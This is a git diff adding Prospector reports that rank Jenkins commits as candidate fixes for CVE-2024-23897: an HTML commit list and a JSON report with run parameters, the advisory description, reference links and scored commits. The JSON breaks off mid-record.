    • + + core/src/main/resources/hudson/model/Job/buildTimeTrend_resources.js + + core/src/main/resources/lib/hudson/buildListTable.jelly + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency hotkeys-js to v3.12.1 (#8723) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.435 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + edd70cdb30b9a47d02259212dd11d6fd37ac8a98 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8723
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency hotkeys-js to v3.12.1 (#8723) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #8721 from... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.426.2 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + abe7181b63a705033b48e09823bfaf6ce18cd4ae +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8721
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #8721 from krisstern/feat/stable-2.426/backporting-2.426.2-1 Backporting for 2.426.2
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Added validation of FIPS password length (#8694) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.434 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f9f542bffd9f38189f3c1393475b473f1f0e035e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8694
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Added validation of FIPS password length (#8694) Co-authored-by: Daniel Beck <1831569+daniel-beck@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/security/HudsonPrivateSecurityRealm.java + + core/src/main/resources/hudson/security/Messages.properties + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Avoid scrollbar in dropdown popups (page footer, log recorder) (#8704) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.434 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + aedae5bccf9121e0769e683d6641ac34616ae630 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8704
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Avoid scrollbar in dropdown popups (page footer, log recorder) (#8704)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/lib/layout/overflowButton.jelly + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency node to v20.10.0 (#8720) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.434 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 33b62b5db5ebe9c2ec70176c1a025359fc322271 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8720
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency node to v20.10.0 (#8720) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency @babel/cli to v7.23.4 (#8716) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.434 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + af941ceaea13f45f525cd877c74e63cf1597a367 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8716
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency @babel/cli to v7.23.4 (#8716) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72266] Upgrade Winstone from 6.14 to 6.16 (upgrade Jetty... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.426.2 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f0846d9797b85fa3369a267cd8045211314640b7 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8666
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72266] Upgrade Winstone from 6.14 to 6.16 (upgrade Jetty from 10.0.17 to 10.0.18 (#8666) [JENKINS-72266] Upgrade Winstone from 6.14 to 6.16 (upgrade Jetty from 10.0.17 to 10.0.18) (cherry picked from commit d3295776738cb4675161e71c992777b4605991e8)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + + war/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-72009, JENKINS-72200, JENKINS-24947] various fixes and... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.434 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + aad79effa12865395403badd58cef8a56e4860c7 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8593
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-72009, JENKINS-72200, JENKINS-24947] various fixes and improvements around disk space monitoring (#8593)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/Functions.java + + core/src/main/java/hudson/model/Computer.java + + core/src/main/java/hudson/node_monitors/AbstractAsyncNodeMonitorDescriptor.java + + core/src/main/java/hudson/node_monitors/AbstractDiskSpaceMonitor.java + + core/src/main/java/hudson/node_monitors/DiskSpaceMonitor.java + + core/src/main/java/hudson/node_monitors/DiskSpaceMonitorDescriptor.java + + core/src/main/java/hudson/node_monitors/DiskSpaceMonitorNodeProperty.java + + core/src/main/java/hudson/node_monitors/TemporarySpaceMonitor.java + + core/src/main/resources/hudson/model/ComputerSet/configure.jelly + + core/src/main/resources/hudson/model/ComputerSet/index.jelly + + core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/config.jelly + + core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/help-freeSpaceThreshold.html + + core/src/main/resources/hudson/node_monitors/AbstractDiskSpaceMonitor/help-freeSpaceWarningThreshold.html + + core/src/main/resources/hudson/node_monitors/DiskSpaceMonitor/column.jelly + + core/src/main/resources/hudson/node_monitors/DiskSpaceMonitor/help.html + + core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/config.jelly + + core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/config_de.properties + + core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/help-freeDiskSpaceThreshold.html + + core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/help-freeDiskSpaceWarningThreshold.html + + core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/help-freeTempSpaceThreshold.html + + core/src/main/resources/hudson/node_monitors/DiskSpaceMonitorNodeProperty/help-freeTempSpaceWarningThreshold.html + + core/src/main/resources/hudson/node_monitors/Messages.properties + + core/src/main/resources/hudson/node_monitors/Messages_bg.properties + + core/src/main/resources/hudson/node_monitors/Messages_cs.properties + + core/src/main/resources/hudson/node_monitors/Messages_da.properties + + core/src/main/resources/hudson/node_monitors/Messages_de.properties + + core/src/main/resources/hudson/node_monitors/Messages_es.properties + + core/src/main/resources/hudson/node_monitors/Messages_fr.properties + + core/src/main/resources/hudson/node_monitors/Messages_it.properties + + core/src/main/resources/hudson/node_monitors/Messages_ja.properties + + core/src/main/resources/hudson/node_monitors/Messages_nl.properties + + core/src/main/resources/hudson/node_monitors/Messages_pt_BR.properties + + core/src/main/resources/hudson/node_monitors/Messages_ru.properties + + core/src/main/resources/hudson/node_monitors/Messages_sr.properties + + core/src/main/resources/hudson/node_monitors/Messages_sv_SE.properties + + core/src/main/resources/hudson/node_monitors/Messages_zh_TW.properties + + core/src/main/resources/hudson/node_monitors/TemporarySpaceMonitor/column.jelly + + core/src/main/resources/hudson/node_monitors/TemporarySpaceMonitor/help.html + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Upgrade `org.apache.commons:commons-compress` from 1.25.0 to 1.26.0... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: jenkins-2.440.2 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 34f26ca92a45e3db8b2677d42573f4b16c43a507 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Upgrade `org.apache.commons:commons-compress` from 1.25.0 to 1.26.0 on `stable-2.440`
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + bom/pom.xml + + core/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Towards 2.440.1 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: jenkins-2.440.1 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 8cbb397aa96b9fa3b410e8cfb405b233ac2402a2 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Towards 2.440.1
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .mvn/maven.config + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + + + + + + \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-23897_f6df4f22-2cce-453a-80a8-615cc55b8664.json b/prospector/pipeline/reports/CVE-2024-23897_f6df4f22-2cce-453a-80a8-615cc55b8664.json new file mode 100644 index 000000000..3172d2f88 --- /dev/null +++ b/prospector/pipeline/reports/CVE-2024-23897_f6df4f22-2cce-453a-80a8-615cc55b8664.json @@ -0,0 +1,20090 @@ +{ + "parameters": { + "vulnerability_id": "CVE-2024-23897", + "repository_url": "https://github.com/jenkinsci/jenkins", + "version_interval": "None:2.442", + "use_backend": "always", + "backend_address": "http://backend:8000", + "git_cache": "/data/gitcache", + "limit_candidates": 2000, + "use_llm_repository_url": true, + "enabled_rules": [ + "VULN_ID_IN_MESSAGE", + "XREF_BUG", + "XREF_GH", + "COMMIT_IN_REFERENCE", + "VULN_ID_IN_LINKED_ISSUE", + "CHANGES_RELEVANT_FILES", + "CHANGES_RELEVANT_CODE", + "RELEVANT_WORDS_IN_MESSAGE", + "ADV_KEYWORDS_IN_FILES", + "ADV_KEYWORDS_IN_MSG", + "SEC_KEYWORDS_IN_MESSAGE", + "SEC_KEYWORDS_IN_LINKED_GH", + "SEC_KEYWORDS_IN_LINKED_BUG", + "GITHUB_ISSUE_IN_MESSAGE", + "BUG_IN_MESSAGE", + "COMMIT_HAS_TWINS", + "COMMIT_IS_SECURITY_RELEVANT" + ] + }, + "advisory_record": { + "cve_id": "CVE-2024-23897", + "description": "Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.", + "reserved_timestamp": 1706014011, + "published_timestamp": 1706118742, + "updated_timestamp": 1724084422, + "repository_url": null, + "references": { + "": 48, + "https://access.redhat.com/support/": 15, + "https://access.redhat.com/downloads/": 12, + "https://access.redhat.com/errata/": 9, + "https://access.redhat.com/labs/": 9, + "https://access.redhat.com/management/": 6, + "https://access.redhat.com/": 6, + "https://access.redhat.com/products/red-hat-enterprise-linux/": 6, + "https://access.redhat.com/products/red-hat-openshift-container-platform": 6, + "https://access.redhat.com/products/red-hat-ansible-automation-platform/": 6, + "https://access.redhat.com/products/": 6, + "https://access.redhat.com/documentation": 6, + "https://access.redhat.com/product-life-cycles/": 6, + "https://access.redhat.com/security": 6, + "https://access.redhat.com/security/security-updates/#/security-advisories": 6, + "https://access.redhat.com/security/security-updates/#/cve": 6, + "https://access.redhat.com/support/contact/": 6, + "https://access.redhat.com/downloads/content/package-browser": 3, + "https://catalog.redhat.com/software/containers/explore/": 3, + "https://access.redhat.com/articles/1202803": 3, + "https://access.redhat.com/search/?q=*&p=1&rows=10&documentKind=Solution": 3, + "https://access.redhat.com/search/?q=*&p=1&rows=10&documentKind=Article": 3, + "https://access.redhat.com/documentation/en/red_hat_enterprise_linux": 3, + "https://access.redhat.com/documentation/en/openshift_container_platform": 3, + "https://access.redhat.com/documentation/en/red_hat_ansible_automation_platform": 3, + "https://access.redhat.com/documentation/": 3, + "https://access.redhat.com/security/": 3, + "https://access.redhat.com/security/vulnerabilities": 3, + "https://access.redhat.com/security/data": 3, + "https://access.redhat.com/security/security-updates/#/security-labs": 3, + "https://access.redhat.com/security/updates/backporting/": 3, + "https://access.redhat.com/support/cases/": 3, + "https://access.redhat.com/support/cases/#/troubleshoot": 3, + "https://access.redhat.com/community": 3, + "https://access.redhat.com/community/": 3, + "https://access.redhat.com/discussions/": 3, + "https://access.redhat.com/announcements/": 3, + "https://access.redhat.com/accelerators/": 3, + "https://access.redhat.com/jbossnetwork/restricted/listSoftware.html": 3, + "https://cloud.redhat.com/insights": 3, + "https://access.redhat.com/changeLanguage?language=en": 3, + "https://access.redhat.com/changeLanguage?language=fr": 3, + "https://access.redhat.com/changeLanguage?language=ko": 3, + "https://access.redhat.com/changeLanguage?language=ja": 3, + "https://access.redhat.com/changeLanguage?language=zh_CN": 3, + "https://access.redhat.com/products/red-hat-satellite/": 3, + "https://access.redhat.com/products/red-hat-subscription-management/": 3, + "https://access.redhat.com/products/red-hat-insights/": 3, + "https://access.redhat.com/products/red-hat-openstack-platform/": 3, + "https://access.redhat.com/products/red-hat-openshift-container-platform/": 3, + "https://access.redhat.com/products/red-hat-openshift-ai/": 3, + "https://access.redhat.com/products/openshift-dedicated-red-hat/": 3, + "https://access.redhat.com/products/red-hat-advanced-cluster-security-for-kubernetes/": 3, + "https://access.redhat.com/products/red-hat-advanced-cluster-management-for-kubernetes/": 3, + "https://access.redhat.com/products/red-hat-quay/": 3, + "https://access.redhat.com/products/red-hat-openshift-dev-spaces": 3, + "https://access.redhat.com/products/red-hat-openshift-service-aws": 3, + "https://access.redhat.com/products/red-hat-storage/": 3, + "https://access.redhat.com/products/red-hat-hyperconverged-infrastructure/": 3, + "https://access.redhat.com/products/red-hat-ceph-storage/": 3, + "https://access.redhat.com/products/red-hat-openshift-data-foundation": 3, + "https://access.redhat.com/products/red-hat-runtimes/": 3, + "https://access.redhat.com/products/red-hat-jboss-enterprise-application-platform/": 3, + "https://access.redhat.com/products/red-hat-data-grid/": 3, + "https://access.redhat.com/products/red-hat-jboss-web-server/": 3, + "https://access.redhat.com/products/red-hat-build-of-keycloak/": 3, + "https://access.redhat.com/products/spring-boot/": 3, + "https://access.redhat.com/products/nodejs/": 3, + "https://access.redhat.com/products/quarkus/": 3, + "https://access.redhat.com/products/red-hat-application-foundations/": 3, + "https://access.redhat.com/products/red-hat-fuse/": 3, + "https://access.redhat.com/products/red-hat-amq/": 3, + "https://access.redhat.com/products/red-hat-3scale/": 3, + "https://access.redhat.com/articles/11258": 3, + "https://bugzilla.redhat.com/show_bug.cgi?id=2066479": 3, + "https://bugzilla.redhat.com/show_bug.cgi?id=2135435": 3, + "https://bugzilla.redhat.com/show_bug.cgi?id=2164278": 3, + "https://bugzilla.redhat.com/show_bug.cgi?id=2170039": 3, + "https://bugzilla.redhat.com/show_bug.cgi?id=2170041": 3, + "https://bugzilla.redhat.com/show_bug.cgi?id=2260180": 3, + "https://bugzilla.redhat.com/show_bug.cgi?id=2260182": 3, + "https://access.redhat.com/security/cve/CVE-2022-29599": 3, + "https://access.redhat.com/security/cve/CVE-2022-42889": 3, + "https://access.redhat.com/security/cve/CVE-2023-24422": 3, + "https://access.redhat.com/security/cve/CVE-2023-25761": 3, + "https://access.redhat.com/security/cve/CVE-2023-25762": 3, + "https://access.redhat.com/security/cve/CVE-2024-23897": 3, + "https://access.redhat.com/security/cve/CVE-2024-23898": 3, + "https://access.redhat.com/security/updates/classification/#important": 3, + "https://access.redhat.com/security/team/contact/": 3, + "https://redhat.com/en": 3, + "https://twitter.com/RedHat": 3, + "https://access.redhat.com/management": 3, + "https://access.redhat.com/support": 3, + "https://access.redhat.com/support/customer-service": 3, + "https://access.redhat.com/articles/33844": 3, + "https://access.redhat.com/help/login_assistance": 3, + "https://www.redhat.com/en/trust": 3, + "https://www.redhat.com/en/about/browser-support": 3, + "https://www.redhat.com/en/about/digital-accessibility": 3, + "https://access.redhat.com/recognition/": 3, + "https://access.redhat.com/help/colophon/": 3, + "https://www.redhat.com/": 3, + "http://developers.redhat.com/": 3, + "https://connect.redhat.com/": 3, + "https://cloud.redhat.com/": 3, + "https://access.redhat.com/subscription-value": 3, + "https://www.redhat.com/about/": 3, + "http://jobs.redhat.com": 3, + "https://redhat.com/en/about/company": 3, + "https://redhat.com/en/jobs": 3, + "https://redhat.com/en/events": 3, + "https://redhat.com/en/about/office-locations": 3, + "https://redhat.com/en/contact": 3, + "https://redhat.com/en/blog": 3, + "https://redhat.com/en/about/our-culture/diversity-equity-inclusion": 3, + "https://coolstuff.redhat.com/": 3, + "https://www.redhat.com/en/summit": 3, + "https://redhat.com/en/about/privacy-policy": 3, + "https://redhat.com/en/about/terms-use": 3, + "https://redhat.com/en/about/all-policies-guidelines": 3, + "https://redhat.com/en/about/digital-accessibility": 3, + "https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314": 2, + "https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/": 2, + "http://www.openwall.com/lists/oss-security/2024/01/24/6": 2, + "http://packetstormsecurity.com/files/176839/Jenkins-2.441-LTS-2.426.3-CVE-2024-23897-Scanner.html": 2, + "http://packetstormsecurity.com/files/176840/Jenkins-2.441-LTS-2.426.3-Arbitrary-File-Read.html": 2, + "https://access.redhat.com/errata/RHSA-2024:0776": 2, + "https://access.redhat.com/errata/RHSA-2024:0778": 2, + "https://access.redhat.com/errata/RHSA-2024:0775": 2, + "https://bugzilla.redhat.com/show_bug.cgi?id=1955739": 2, + "https://bugzilla.redhat.com/show_bug.cgi?id=2126789": 2, + "https://bugzilla.redhat.com/show_bug.cgi?id=2222709": 2, + "https://issues.redhat.com/browse/JKNS-271": 2, + "https://issues.redhat.com/browse/JKNS-289": 2, + "https://issues.redhat.com/browse/OCPBUGS-11158": 2, + "https://issues.redhat.com/browse/OCPBUGS-1357": 2, + "https://issues.redhat.com/browse/OCPBUGS-1709": 2, + "https://issues.redhat.com/browse/OCPBUGS-1942": 2, + "https://issues.redhat.com/browse/OCPBUGS-2099": 2, + "https://issues.redhat.com/browse/OCPBUGS-2184": 2, + "https://issues.redhat.com/browse/OCPBUGS-2318": 2, + "https://issues.redhat.com/browse/OCPBUGS-655": 2, + "https://issues.redhat.com/browse/OCPBUGS-710": 2, + "https://access.redhat.com/security/cve/CVE-2021-26291": 2, + "https://access.redhat.com/security/cve/CVE-2022-25857": 2, + "https://access.redhat.com/security/cve/CVE-2023-37946": 2, + "https://bugzilla.redhat.com/show_bug.cgi?id=2177632": 2, + "https://bugzilla.redhat.com/show_bug.cgi?id=2177634": 2, + "https://access.redhat.com/security/cve/CVE-2023-27903": 2, + "https://access.redhat.com/security/cve/CVE-2023-27904": 2, + "https://console.redhat.com/insights/patch/advisories/RHSA-2024:0776": 1, + "https://issues.redhat.com/browse/OCPBUGS-10934": 1, + "https://issues.redhat.com/browse/OCPBUGS-11329": 1, + "https://issues.redhat.com/browse/OCPBUGS-11446": 1, + "https://issues.redhat.com/browse/OCPBUGS-11452": 1, + "https://issues.redhat.com/browse/OCPBUGS-13651": 1, + "https://issues.redhat.com/browse/OCPBUGS-13870": 1, + "https://issues.redhat.com/browse/OCPBUGS-14112": 1, + "https://issues.redhat.com/browse/OCPBUGS-14311": 1, + "https://issues.redhat.com/browse/OCPBUGS-14634": 1, + "https://issues.redhat.com/browse/OCPBUGS-15647": 1, + "https://issues.redhat.com/browse/OCPBUGS-15986": 1, + "https://issues.redhat.com/browse/OCPBUGS-27389": 1, + "https://issues.redhat.com/browse/OCPBUGS-6579": 1, + "https://issues.redhat.com/browse/OCPBUGS-6870": 1, + "https://issues.redhat.com/browse/OCPBUGS-8377": 1, + "https://issues.redhat.com/browse/OCPBUGS-8442": 1, + "https://issues.redhat.com/browse/OCPTOOLS-245": 1, + "https://console.redhat.com/insights/patch/advisories/RHSA-2024:0778": 1, + "https://bugzilla.redhat.com/show_bug.cgi?id=1856376": 1, + "https://bugzilla.redhat.com/show_bug.cgi?id=2107376": 1, + "https://bugzilla.redhat.com/show_bug.cgi?id=2180530": 1, + "https://bugzilla.redhat.com/show_bug.cgi?id=2215229": 1, + "https://bugzilla.redhat.com/show_bug.cgi?id=2222710": 1, + "https://bugzilla.redhat.com/show_bug.cgi?id=2227788": 1, + "https://bugzilla.redhat.com/show_bug.cgi?id=2232422": 1, + "https://bugzilla.redhat.com/show_bug.cgi?id=2232423": 1, + "https://bugzilla.redhat.com/show_bug.cgi?id=2232425": 1, + "https://bugzilla.redhat.com/show_bug.cgi?id=2232426": 1, + "https://bugzilla.redhat.com/show_bug.cgi?id=2236340": 1, + "https://bugzilla.redhat.com/show_bug.cgi?id=2236341": 1, + "https://bugzilla.redhat.com/show_bug.cgi?id=2239634": 1, + "https://issues.redhat.com/browse/OCPBUGS-10976": 1, + "https://issues.redhat.com/browse/OCPBUGS-11348": 1, + "https://issues.redhat.com/browse/OCPBUGS-13652": 1, + "https://issues.redhat.com/browse/OCPBUGS-13901": 1, + "https://issues.redhat.com/browse/OCPBUGS-14113": 1, + "https://issues.redhat.com/browse/OCPBUGS-14393": 1, + "https://issues.redhat.com/browse/OCPBUGS-14642": 1, + "https://issues.redhat.com/browse/OCPBUGS-15648": 1, + "https://issues.redhat.com/browse/OCPBUGS-27391": 1, + "https://issues.redhat.com/browse/OCPBUGS-3692": 1, + "https://issues.redhat.com/browse/OCPBUGS-4819": 1, + "https://issues.redhat.com/browse/OCPBUGS-4833": 1, + "https://issues.redhat.com/browse/OCPBUGS-6632": 1, + "https://issues.redhat.com/browse/OCPBUGS-6982": 1, + "https://issues.redhat.com/browse/OCPBUGS-7016": 1, + "https://issues.redhat.com/browse/OCPBUGS-7050": 1, + "https://issues.redhat.com/browse/OCPBUGS-8420": 1, + "https://issues.redhat.com/browse/OCPBUGS-8497": 1, + "https://issues.redhat.com/browse/OCPTOOLS-246": 1, + "https://access.redhat.com/security/cve/CVE-2020-7692": 1, + "https://access.redhat.com/security/cve/CVE-2022-1962": 1, + "https://access.redhat.com/security/cve/CVE-2023-2976": 1, + "https://access.redhat.com/security/cve/CVE-2023-20861": 1, + "https://access.redhat.com/security/cve/CVE-2023-20862": 1, + "https://access.redhat.com/security/cve/CVE-2023-26048": 1, + "https://access.redhat.com/security/cve/CVE-2023-26049": 1, + "https://access.redhat.com/security/cve/CVE-2023-37947": 1, + "https://access.redhat.com/security/cve/CVE-2023-40167": 1, + "https://access.redhat.com/security/cve/CVE-2023-40337": 1, + "https://access.redhat.com/security/cve/CVE-2023-40338": 1, + "https://access.redhat.com/security/cve/CVE-2023-40339": 1, + "https://access.redhat.com/security/cve/CVE-2023-40341": 1, + "https://console.redhat.com/insights/patch/advisories/RHSA-2024:0775": 1, + "https://bugzilla.redhat.com/show_bug.cgi?id=2150009": 1, + "https://issues.redhat.com/browse/OCPBUGS-471": 1, + "https://access.redhat.com/security/cve/CVE-2022-1471": 1 + }, + "affected_products": [ + "CLI", + "LTS", + "Jenkins" + ], + "versions": { + "lessThan": "1.606", + "status": "unaffected", + "version": "0", + "versionType": "maven" + }, + "files": [ + "CLI", + "LTS" + ], + "keywords": [ + "follow", + "read", + "disable", + "parser", + "replace", + "controller", + "path", + "feature", + "attacker", + "argument", + "content", + "character", + "allow", + "jenkins", + "command", + "file", + "system" + ], + "files_extension": [], + "has_fixing_commit": false + }, + "commits": [ + { + "commit_id": "48f0f923d54bc43358e458874a6cf4e42cc875df", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706774285, + "hunks": 11, + "message": "[JENKINS-72532] CLI `-noCertificateCheck` does not work with `-webSocket` (#8852)", + "changed_files": [ + "cli/src/main/java/hudson/cli/CLI.java", + "cli/src/main/java/hudson/cli/CLIConnectionFactory.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8852": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "RELEVANT_WORDS_IN_MESSAGE", + "message": "The commit message contains some relevant words: CLI", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: CLI", + "relevance": 8 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8852", + "relevance": 2 + }, + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + } + ] + }, + { + "commit_id": "a74865391d697f171cdfa977a956e8b96e0b0336", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1705425025, + "hunks": 7, + "message": "[SECURITY-3314]", + "changed_files": [ + "core/src/main/java/hudson/cli/CLICommand.java", + "core/src/main/java/hudson/cli/declarative/CLIRegisterer.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "554f03782057c499c49bbb06575f0d28b5200edb" + ] + ], + "tags": [ + "jenkins-2.426.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: CLI", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: command", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + } + ] + }, + { + "commit_id": "3e876d4c0c14b1a421799a9c69ced6124ad21af4", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1705424863, + "hunks": 7, + "message": "[SECURITY-3314] (cherry picked from commit 554f03782057c499c49bbb06575f0d28b5200edb)", + "changed_files": [ + "core/src/main/java/hudson/cli/CLICommand.java", + "core/src/main/java/hudson/cli/declarative/CLIRegisterer.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: CLI", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: command", + "relevance": 4 + }, + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + } + ] + }, + { + "commit_id": 